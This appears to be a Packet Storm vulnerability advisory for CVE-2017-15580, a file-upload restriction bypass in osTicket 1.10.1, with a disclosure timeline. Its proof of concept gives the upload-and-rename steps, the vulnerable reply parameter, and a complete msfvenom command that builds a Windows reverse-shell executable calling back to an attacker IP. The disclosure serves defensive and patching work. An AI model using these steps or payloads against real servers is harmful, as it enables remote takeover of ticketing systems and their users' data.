osTicket 1.10.1 Shell Upload

2017-10-25T00:00:00
ID PACKETSTORM:144747
Type packetstorm
Reporter Rajwinder Singh
Modified 2017-10-25T00:00:00

Description

                                        
                                            `Reference: https://becomepentester.blogspot.ae/2017/10/osTicket-File-Upload-  
Restrictions-Bypassed-CVE-2017-15580.html  
  
*# Exploit Title: File Upload Restrictions Bypassed*  
*# Date: 18 October, 2017*  
*# Exploit Author: Rajwinder Singh*  
*# Vendor Homepage: http://osticket.com/ <http://osticket.com/>*  
*# Software Link: http://osticket.com/download/go?dl=osTicket-v1.10.1.zip  
<http://osticket.com/download/go?dl=osTicket-v1.10.1.zip>*  
*# Version: v1.10.1*  
*# CVE : 2017-15580*  
  
Vulnerability Details:  
======================  
osTicket application provides a functionality to upload 'html' files with  
associated formats. However, application does not properly validate the  
uploaded fileas contents and thus accepts any type of files.  
  
*Proof-of-Concept:*  
====================  
Uploaded shell to get reverse shell of end user for the demo purpose.  
  
1. Created a valid '.html' file to bypass client-side validations.  
<html>  
<title>test</title>  
<body>  
<p>test page</p>  
</body>  
  
</html>  
  
2. Created a reverse shell with '.exe' file extension using msfvenom.  
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<YOUR  
IP> LPORT=4444 -b "\x00" -e <encoder> -f exe -o reverse.exe  
https://www.offensive-security.com/metasploit-unleashed/binary-payloads/  
  
3. As shown in the below screenshot, intercepted the request and changed  
file extension '.html' to '.exe' and received a valid response from server  
along with uploaded malicious file.  
  
  
<https://3.bp.blogspot.com/-XqKsaTccLvg/WebuXgaRd7I/AAAAAAAANVs/NoWSFi9Mmwol8KxzUJQzyCSonov3yqg6gCLcBGAs/s1600/1.file_upload_extension_bypass.JPG>  
  
  
  
*Response:*  
<https://4.bp.blogspot.com/-3peKN-VR_os/Webulv3N7aI/AAAAAAAANVw/17FtsSCVNoIxTcEsfUle4VxQKYlQoBAqQCLcBGAs/s1600/2.file_upload_extension_bypass.JPG>  
  
4. As shown in the below screenshot, successfully uploaded malicious file  
on the server.  
<https://4.bp.blogspot.com/-lH2vbsUDKZQ/Webu0WOio-I/AAAAAAAANV0/Jl8KFD0cHZsinpENfc1hV8OaDtcH1P0YQCLcBGAs/s1600/3.file_upload_extension_bypass.JPG>  
  
Ready to get reverse shell.  
  
*Affected Component:*  
====================  
*Parameter:* tickets.php?id=<ticket_number>#reply  
  
  
*Disclosure Timeline:*  
=====================  
Vendor Confirmation: 11 October, 2017  
Mitre Notification: 17 October, 2017  
Public Disclosure: 18 October, 2017  
  
*Exploitation Technique:*  
=======================  
Remote  
  
*Severity Level:*  
================  
High  
  
*Description:*  
=====================================================  
Request Method(s): [+] POST  
Vulnerable Product: [+] osTicket - v1.10.1  
Vulnerable Parameter(s): [+] tickets.php?id=<ticket_number>#reply  
  
  
  
Thank you  
`